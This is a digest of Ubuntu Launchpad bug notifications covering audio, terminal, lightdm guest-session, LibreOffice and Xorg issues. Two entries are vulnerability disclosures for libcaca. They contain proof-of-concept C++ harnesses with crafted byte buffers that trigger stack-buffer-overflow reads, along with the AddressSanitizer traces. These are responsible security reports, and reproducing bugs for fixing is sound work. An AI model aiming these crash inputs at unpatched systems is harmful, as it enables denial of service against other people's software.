[Touch-packages] [Bug 1925730] [NEW] Dell XPS 17 (Ubuntu 21.04) - No sound AT ALL upon fresh installation

[Arkady Titenko]

Public bug reported:

New laptop - Dell XPS 17, bought in 2020. Upon installation of Ubuntu
21.04 sound does not work at all. System settings only show one audio
output - "Dummy output". Audio input does not have even that, just an
empty drop-down list.

Issue can be fixed if we load a custom sound driver as described here:
https://blog.fts.scot/2020/07/04/dell-xps-2020-how-to-get-audio-working-
on-linux/

That poses a security risk however and according to the author of the
article is not necessary since mainline Kernel release 5.11 now has
required device headers included.

...

lspci output:

user@MYPC:~$ lspci -v | grep -i -A 10 audio
00:1f.3 Multimedia audio controller: Intel Corporation Comet Lake PCH cAVS
Subsystem: Dell Comet Lake PCH cAVS
Flags: bus master, fast devsel, latency 64, IRQ 229, IOMMU group 16
Memory at 609b218000 (64-bit, non-prefetchable) [size=16K]
Memory at 609b10 (64-bit, non-prefetchable) [size=1M]
Capabilities: 
Kernel driver in use: sof-audio-pci
Kernel modules: snd_hda_intel, snd_sof_pci
--
01:00.1 Audio device: NVIDIA Corporation TU106 High Definition Audio Controller 
(rev a1)
Subsystem: Dell TU106 High Definition Audio Controller
Flags: bus master, fast devsel, latency 0, IRQ 17, IOMMU group 1
Memory at 7300 (32-bit, non-prefetchable) [size=16K]
Capabilities: 
Kernel driver in use: snd_hda_intel
Kernel modules: snd_hda_intel

Looked around for soundwire drivers, found this:

user@MYPC:~$ lsmod | grep soundwire
soundwire_intel40960  2 snd_sof_intel_hda_common,snd_intel_dspcfg
soundwire_generic_allocation16384  1 soundwire_intel
soundwire_cadence  32768  1 soundwire_intel
soundwire_bus  77824  7 
regmap_sdw,soundwire_intel,snd_soc_rt715,soundwire_generic_allocation,soundwire_cadence,snd_soc_rt711,snd_soc_rt1308_sdw
snd_soc_core  294912  8 
soundwire_intel,snd_sof,snd_sof_intel_hda_common,snd_soc_rt715,snd_soc_hdac_hda,snd_soc_rt711,snd_soc_dmic,snd_soc_rt1308_sdw
snd_pcm   118784  14 
snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codec,soundwire_intel,snd_sof,snd_sof_intel_hda_common,snd_sof_intel_ipc,snd_soc_rt715,snd_compress,snd_soc_core,snd_soc_rt711,snd_soc_rt1308_sdw,snd_hda_core,snd_pcm_dmaengine

Maybe using the soundwire_intel driver would fix the problem? Need to
keep digging. Will post an update if I have any progress.

ProblemType: Bug
DistroRelease: Ubuntu 21.04
Package: alsa-base 1.0.25+dfsg-0ubuntu7
ProcVersionSignature: Ubuntu 5.11.0-16.17-generic 5.11.12
Uname: Linux 5.11.0-16-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.11-0ubuntu65
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  iamarkadyt   1593 F pulseaudio
CasperMD5CheckResult: pass
CurrentDesktop: ubuntu:GNOME
Date: Fri Apr 23 00:18:15 2021
InstallationDate: Installed on 2021-04-23 (0 days ago)
InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Release amd64 (20210420)
PackageArchitecture: all
ProcEnviron:
 TERM=xterm-256color
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=en_US.UTF-8
 SHELL=/bin/bash
SourcePackage: alsa-driver
Symptom: audio
Symptom_AlsaPlaybackTest: ALSA playback test through plughw:NVidia failed
Symptom_Card: TU106 High Definition Audio Controller - HDA NVidia
Symptom_DevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  iamarkadyt   1593 F pulseaudio
Symptom_Type: No sound at all
Title: [HDA-Intel - HDA NVidia, playback] No sound at all
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 09/03/2020
dmi.bios.release: 1.4
dmi.bios.vendor: Dell Inc.
dmi.bios.version: 1.4.0
dmi.board.name: 0YK6XT
dmi.board.vendor: Dell Inc.
dmi.board.version: A00
dmi.chassis.type: 10
dmi.chassis.vendor: Dell Inc.
dmi.modalias: 
dmi:bvnDellInc.:bvr1.4.0:bd09/03/2020:br1.4:svnDellInc.:pnXPS179700:pvr:rvnDellInc.:rn0YK6XT:rvrA00:cvnDellInc.:ct10:cvr:
dmi.product.family: XPS
dmi.product.name: XPS 17 9700
dmi.product.sku: 098F
dmi.sys.vendor: Dell Inc.

** Affects: alsa-driver (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug hirsute

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1925730

Title:
  Dell XPS 17 (Ubuntu 21.04) - No sound AT ALL upon fresh installation

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  New laptop - Dell XPS 17, bought in 2020. Upon installation of Ubuntu
  21.04 sound does not work at all. System settings only show one audio
  output - "Dummy output". Audio input does not have even that, just an
  empty drop-down list.

  Issue can be fixed if we load a custom sound driver as described here:
  https://blog.fts.scot/2020/07/04/dell-xps-2020-how-to-get-audio-
  working-on-linux/

  That poses a security risk however and according 

[Touch-packages] [Bug 450093] Re: whiptail failing in a MultiTerm buffer in Emacs

[Duncan Bayne]

This bug can be closed.  I've verified that whiptail now runs with a
$TERM type of eterm-colour.

Not sure when in the past 12 years it was fixed though :) :) :)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to newt in Ubuntu.
https://bugs.launchpad.net/bugs/450093

Title:
  whiptail failing in a MultiTerm buffer in Emacs

Status in newt package in Ubuntu:
  Confirmed

Bug description:
  I am running on Ubuntu karmic (development branch) release 9.10.

  If I run "sudo apt-get install mysql-server-5.1" from within a
  MultiTerm buffer in Emacs, I am not prompted for the root password.
  Instead I see the following error:

  Unknown terminal: eterm-color
  Check the TERM environment variable.
  Also make sure that the terminal is defined in the terminfo database.
  Alternatively, set the TERMCAP environment variable to the desired
  termcap entry.
  debconf: whiptail output the above errors, giving up!
  dpkg: error processing 
/var/cache/apt/archives/mysql-server-5.1_5.1.37-1ubuntu5_i386.deb (--unpack):
   subprocess new pre-installation script returned error exit status 255
  Errors were encountered while processing:
   /var/cache/apt/archives/mysql-server-5.1_5.1.37-1ubuntu5_i386.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  When I run the same command from a GNOME Terminal session, I am
  prompted for the root password and MySQL installs correctly.

  I don't know that it's reasonable for apt-get to support being run
  from within MultiTerm, but the error message is only helpful to users
  with an understanding of what the termcap library is & why it might be
  failing.

  Perhaps apt-get could raise a warning if it's being run on an
  unsupported terminal type?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/newt/+bug/450093/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925467] Re: stack-buffer-overflow of text.c in function _import_ansi

[xiao huang]

** Description changed:

  Hello ubuntu security team
+ 
+ issues: https://github.com/cacalabs/libcaca/issues/55
+ 
  System info：
  Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
  Fedora 33: clang 11.0.0 , gcc 10.2.1
  
  libcaca version e4968ba
  
  Verification steps：
  1.Get the source code of libcaca
  2.Compile the libcaca.so library
  
  $ cd libcaca
  $ ./bootstrap
  $ ./configure
  $ make
  or
  
  $ cd libcaca
  $ ./bootstrap
  $ ../configure CC="clang -O2 -fno-omit-frame-pointer -g 
-fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 
-fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  
-fsanitize-coverage=bb"
  $ make
  3.Create the poc_ansi.cc && build
  
  #include "config.h"
  #include "caca.h"
  //#include "common-image.h"
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  using namespace std;
  
  void crash(const uint8_t *Data, size_t Size) {
  
-   if(Size<8) return ;
-   size_t len=0;
-   caca_canvas_t *cv;
-   cv = caca_create_canvas(0,0);
-   caca_create_frame(cv,0);
-   caca_set_frame(cv,0);
-   caca_import_canvas_from_memory(cv,Data,Size,"ansi");
-   caca_free_canvas(cv);
-   cv=NULL;
+   if(Size<8) return ;
+   size_t len=0;
+   caca_canvas_t *cv;
+   cv = caca_create_canvas(0,0);
+   caca_create_frame(cv,0);
+   caca_set_frame(cv,0);
+   caca_import_canvas_from_memory(cv,Data,Size,"ansi");
+   caca_free_canvas(cv);
+   cv=NULL;
  
  }
  
- 
  int main(int args,char* argv[]){
  
- size_t  len = 0;
- unsigned char buffer[] = 
{0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
- len = sizeof(buffer)/sizeof(unsigned char);
- printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
- crash((const uint8_t*)buffer,len);
+ size_t  len = 0;
+ unsigned char buffer[] = 
{0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
+ len = sizeof(buffer)/sizeof(unsigned char);
+ printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
+ crash((const uint8_t*)buffer,len);
  
- return 0;
+ return 0;
  
  }
  4.compile poc_ansi.cc
  
  clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address  
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_ansi
  5.Run poc_ansi
  asan info:
  
  =
  ==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
  READ of size 1 at 0x7ffda0164bea thread T0
- #0 0x7f098d82c30f in _import_ansi 
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38
- #1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
- #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
- #3 0x7f098d2780b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
- #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)
+ #0 0x7f098d82c30f in _import_ansi 
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38
+ #1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
+ #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
+ #3 0x7f098d2780b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
+ #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)
  
  Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
- #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
+ #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
  
-   This frame has 1 object(s):
- [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this 
variable
+   This frame has 1 object(s):
+ [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this 
variable
  HINT: this may be a false positive if your program uses some custom stack 
unwind mechanism, swapcontext or vfork
-   (longjmp and C++ exceptions *are* supported)
+   (longjmp and C++ exceptions *are* supported)
  SUMMARY: AddressSanitizer: stack-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
  Shadow bytes around the buggy address:
-   0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
-   0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
-   0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
-   0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-   0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
+   0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
+   0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
+   0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  =>0x100034024970: 

[Touch-packages] [Bug 1925468] Re: stack-buffer-overflow of import.c in function _import_bin

[xiao huang]

** Description changed:

  Hello ubuntu security team
+ 
+ issues：https://github.com/cacalabs/libcaca/issues/56
+ 
  System info：
  Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
  Fedora 33: clang 11.0.0 , gcc 10.2.1
+ 
  
  libcaca version e4968ba
  
  Verification steps：
  1.Get the source code of libcaca
  2.Compile the libcaca.so library
  
  $ cd libcaca
  $ ./bootstrap
  $ ./configure
  $ make
  or
  
  $ cd libcaca
  $ ./bootstrap
  $ ../configure CC="clang -O2 -fno-omit-frame-pointer -g 
-fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 
-fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  
-fsanitize-coverage=bb"
  $ make
  3.Create the poc_bin.cc && build
  
  #include "config.h"
  #include "caca.h"
  //#include "common-image.h"
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  using namespace std;
  
  void crash(const uint8_t *Data, size_t Size) {
  
-   if(Size<8) return ;
-   size_t len=0;
-   caca_canvas_t *cv;
-   cv = caca_create_canvas(0,0);
-   caca_create_frame(cv,0);
-   caca_set_frame(cv,0);
-   caca_import_canvas_from_memory(cv,Data,Size,"bin");
-   caca_free_canvas(cv);
-   cv=NULL;
+   if(Size<8) return ;
+   size_t len=0;
+   caca_canvas_t *cv;
+   cv = caca_create_canvas(0,0);
+   caca_create_frame(cv,0);
+   caca_set_frame(cv,0);
+   caca_import_canvas_from_memory(cv,Data,Size,"bin");
+   caca_free_canvas(cv);
+   cv=NULL;
  
  }
  
  int main(int args,char* argv[]){
- size_t  len = 0;
- unsigned char buffer[] = 
{0x0a,0x20,0x0a,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x47,0x47,0x47};
- len = sizeof(buffer)/sizeof(unsigned char);
- printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
- crash((const uint8_t*)buffer,len);
- return 0;
+ size_t  len = 0;
+ unsigned char buffer[] = 
{0x0a,0x20,0x0a,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x47,0x47,0x47};
+ len = sizeof(buffer)/sizeof(unsigned char);
+ printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
+ crash((const uint8_t*)buffer,len);
+ return 0;
  
  }
  4.compile poc_bin.cc
  
  clang++ -g poc_bin.cc -O2 -fno-omit-frame-pointer -fsanitize=address  
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_bin
  5.Run poc_bin
  asan info:
  
  =
  ==3817476==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7ffe7cd3774d at pc 0x7f8c6314acfd bp 0x7ffe7cd376c0 sp 0x7ffe7cd376b8
  READ of size 1 at 0x7ffe7cd3774d thread T0
- #0 0x7f8c6314acfc in _import_bin 
/home/hh/Downloads/libcaca/caca/codec/import.c:425:33
- #1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
- #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
- #3 0x7f8c62ba00b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
- #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_bin+0x41c38d)
+ #0 0x7f8c6314acfc in _import_bin 
/home/hh/Downloads/libcaca/caca/codec/import.c:425:33
+ #1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
+ #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
+ #3 0x7f8c62ba00b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
+ #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_bin+0x41c38d)
  
  Address 0x7ffe7cd3774d is located in stack of thread T0 at offset 45 in frame
- #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
+ #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
  
-   This frame has 1 object(s):
- [32, 45) 'buffer' (line 31) <== Memory access at offset 45 overflows this 
variable
+   This frame has 1 object(s):
+ [32, 45) 'buffer' (line 31) <== Memory access at offset 45 overflows this 
variable
  HINT: this may be a false positive if your program uses some custom stack 
unwind mechanism, swapcontext or vfork
-   (longjmp and C++ exceptions *are* supported)
+   (longjmp and C++ exceptions *are* supported)
  SUMMARY: AddressSanitizer: stack-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/import.c:425:33 in _import_bin
  Shadow bytes around the buggy address:
-   0x10004f99ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-   0x10004f99eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-   0x10004f99eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-   0x10004f99eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-   0x10004f99eed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x10004f99ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x10004f99eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x10004f99eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x10004f99eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   0x10004f99eed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[Touch-packages] [Bug 1022858] Re: Guest session asks for a password after switching users

[Jarno Suni]

You do not need to switch from guest session to do those nowadays:
https://help.ubuntu.com/community/CustomizeGuestSession

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1022858

Title:
  Guest session asks for a password after switching users

Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  When I switch back to an already open guest session from my user
  account, I find that the guest session is locked and it asks for the
  Guest password (which obviously there isn't because it's a guest
  session!).

  ProblemType: Bug
  DistroRelease: Ubuntu 12.04
  Package: gnome-session-bin 3.2.1-0ubuntu8
  ProcVersionSignature: Ubuntu 3.2.0-26.41-generic 3.2.19
  Uname: Linux 3.2.0-26-generic x86_64
  ApportVersion: 2.0.1-0ubuntu8
  Architecture: amd64
  Date: Tue Jul 10 09:54:55 2012
  ExecutablePath: /usr/bin/gnome-session
  InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 
(20120425)
  ProcEnviron:
   LANGUAGE=en_GB:en
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: No upgrade log present (probably fresh install)
  XsessionErrors: (compiz:1719): GConf-CRITICAL **: gconf_client_add_dir: 
assertion `gconf_valid_key (dirname, NULL)' failed
  --- 
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: amd64
  DistroRelease: Ubuntu 12.04
  InstallationMedia: Ubuntu 12.04.1 LTS "Precise Pangolin" - Release amd64 
(20120823.1)
  MarkForUpload: True
  Package: lightdm 1.2.1-0ubuntu1.1
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 3.2.0-36.57-generic 3.2.35
  Tags:  precise running-unity
  Uname: Linux 3.2.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1022858/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1022858] Re: Guest session asks for a password after switching users

[Sushenjit Bandyopadhyay]

Jarno Suni wrote:
> Does one need to switch from guest session? Maybe it should be disabled.

One needed to switch from the guest session to the primary (sudoer) user
session to make permanent customization to the guest session. See

https://ubuntuforums.org/showthread.php?t=2152804=12687863#post12687863

for instructions.

This allowed one to do some house cleaning such as disabling the
**backup reminder popup** (which one can't setup in a guest session
anyways, as all changes are lost on logout), and add Chrome on the
Guest's top panel for example.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1022858

Title:
  Guest session asks for a password after switching users

Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  When I switch back to an already open guest session from my user
  account, I find that the guest session is locked and it asks for the
  Guest password (which obviously there isn't because it's a guest
  session!).

  ProblemType: Bug
  DistroRelease: Ubuntu 12.04
  Package: gnome-session-bin 3.2.1-0ubuntu8
  ProcVersionSignature: Ubuntu 3.2.0-26.41-generic 3.2.19
  Uname: Linux 3.2.0-26-generic x86_64
  ApportVersion: 2.0.1-0ubuntu8
  Architecture: amd64
  Date: Tue Jul 10 09:54:55 2012
  ExecutablePath: /usr/bin/gnome-session
  InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 
(20120425)
  ProcEnviron:
   LANGUAGE=en_GB:en
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: No upgrade log present (probably fresh install)
  XsessionErrors: (compiz:1719): GConf-CRITICAL **: gconf_client_add_dir: 
assertion `gconf_valid_key (dirname, NULL)' failed
  --- 
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: amd64
  DistroRelease: Ubuntu 12.04
  InstallationMedia: Ubuntu 12.04.1 LTS "Precise Pangolin" - Release amd64 
(20120823.1)
  MarkForUpload: True
  Package: lightdm 1.2.1-0ubuntu1.1
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 3.2.0-36.57-generic 3.2.35
  Tags:  precise running-unity
  Uname: Linux 3.2.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1022858/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925379] Re: Auto-Correct does not work since upgrade to Hirsute

[Rico Tzschichholz]

I can confirm this issue and it is caused by the current gtk+-3.0
package.

Running with gtk+-3.0 3.24.28+git fixes the issue locally for me.

** Also affects: gtk+3.0 (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1925379

Title:
  Auto-Correct does not work since upgrade to Hirsute

Status in gtk+3.0 package in Ubuntu:
  New
Status in libreoffice package in Ubuntu:
  Confirmed

Bug description:
  I just did a fresh install of Ubuntu 21.04 (smooth as silk), but then
  discovered that Auto-Correct in LibreOffice does not work. Yesterday,
  when I was still running 20.04, Auto-Correct worked fine -- same
  LibreOffice version, same LibreOffice profile, same LibreOffice
  document, and no changes on my part to my LibreOffice settings since I
  installed Ubuntu 21.04.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1925379/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1775088] Re: Ubuntu Mate guest session locked out when switching from another account

[Jarno Suni]

*** This bug is a duplicate of bug 1022858 ***
https://bugs.launchpad.net/bugs/1022858

** This bug has been marked a duplicate of bug 1022858
   Guest session asks for a password after switching users

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1775088

Title:
  Ubuntu Mate guest session locked out when switching from another
  account

Status in Ubuntu MATE:
  New
Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  ATTN: Ubuntu Mate Developers

  Description:  Ubuntu 18.04 LTS
  Release:  18.04

  lightdm:
    Installed: 1.26.0-0ubuntu1
    Candidate: 1.26.0-0ubuntu1
    Version table:
   *** 1.26.0-0ubuntu1 500
  500 http://us.archive.ubuntu.com/ubuntu bionic/universe amd64 Packages
  100 /var/lib/dpkg/status

  In Ubuntu Mate 18.04 LTS LightDM, I created a file in
  /etc/lightdm/lightdm.conf, with the line:

  allow-guest=true

  This allows me to log into a guest session. The issue is when I try to
  switch between the guest session and a normal session and back.
  Switching from guest session to the normal user session is fine.
  LightDM asks for the normal user password. However, when I try to
  switch from the normal user to back to the guest session I am asked
  for password as well. This is the problem as the guest session has no
  known password. The unlock window has a 'Switch User" button along
  with Cancel, etc. Clicking the "Switch User" button takes me to the
  standard LightDM screen. There I can select from the normal user and
  the guest. However, selecting guest here opens a new guest session,
  and does not take me back to the guest session already open.

  This looks like an old bug https://bugs.launchpad.net/bugs/1481804

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: lightdm 1.26.0-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17
  Uname: Linux 4.15.0-22-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.1
  Architecture: amd64
  CurrentDesktop: MATE
  Date: Mon Jun  4 17:46:33 2018
  InstallationDate: Installed on 2018-05-31 (4 days ago)
  InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  SourcePackage: lightdm
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-mate/+bug/1775088/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1022858] Re: Guest session asks for a password after switching users

[Gunnar Hjalmarsson]

On 2020-01-16 13:03, Jarno Suni wrote:
> What is so difficult in not asking password when guest session
> is concerned?

Maybe low priority since guest session is disabled by default.

https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1775088/comments/2

> Does one need to switch from guest session? Maybe it should be
> disabled.

Also such a change would need work.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1022858

Title:
  Guest session asks for a password after switching users

Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  When I switch back to an already open guest session from my user
  account, I find that the guest session is locked and it asks for the
  Guest password (which obviously there isn't because it's a guest
  session!).

  ProblemType: Bug
  DistroRelease: Ubuntu 12.04
  Package: gnome-session-bin 3.2.1-0ubuntu8
  ProcVersionSignature: Ubuntu 3.2.0-26.41-generic 3.2.19
  Uname: Linux 3.2.0-26-generic x86_64
  ApportVersion: 2.0.1-0ubuntu8
  Architecture: amd64
  Date: Tue Jul 10 09:54:55 2012
  ExecutablePath: /usr/bin/gnome-session
  InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 
(20120425)
  ProcEnviron:
   LANGUAGE=en_GB:en
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: No upgrade log present (probably fresh install)
  XsessionErrors: (compiz:1719): GConf-CRITICAL **: gconf_client_add_dir: 
assertion `gconf_valid_key (dirname, NULL)' failed
  --- 
  ApportVersion: 2.0.1-0ubuntu17.1
  Architecture: amd64
  DistroRelease: Ubuntu 12.04
  InstallationMedia: Ubuntu 12.04.1 LTS "Precise Pangolin" - Release amd64 
(20120823.1)
  MarkForUpload: True
  Package: lightdm 1.2.1-0ubuntu1.1
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 3.2.0-36.57-generic 3.2.35
  Tags:  precise running-unity
  Uname: Linux 3.2.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1022858/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925676] Re: Xorg freeze

[Ubuntu Foundations Team Bug Bot]

** Package changed: ubuntu => xorg (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1925676

Title:
  Xorg freeze

Status in xorg package in Ubuntu:
  New

Bug description:
  Since a week or two, videos started to freeze on Youtube. The video
  jam, the audio repeating the last quarter of a second of material,
  just like an audio CD that stays hooked. At this point, the mouse and
  the keyboard don't respond in any way and I have to depress the ON/OFF
  key and hold it a few seconds to do a forced stop. The computer
  restart normally, and Firefox open with a screen that says:"sorry we
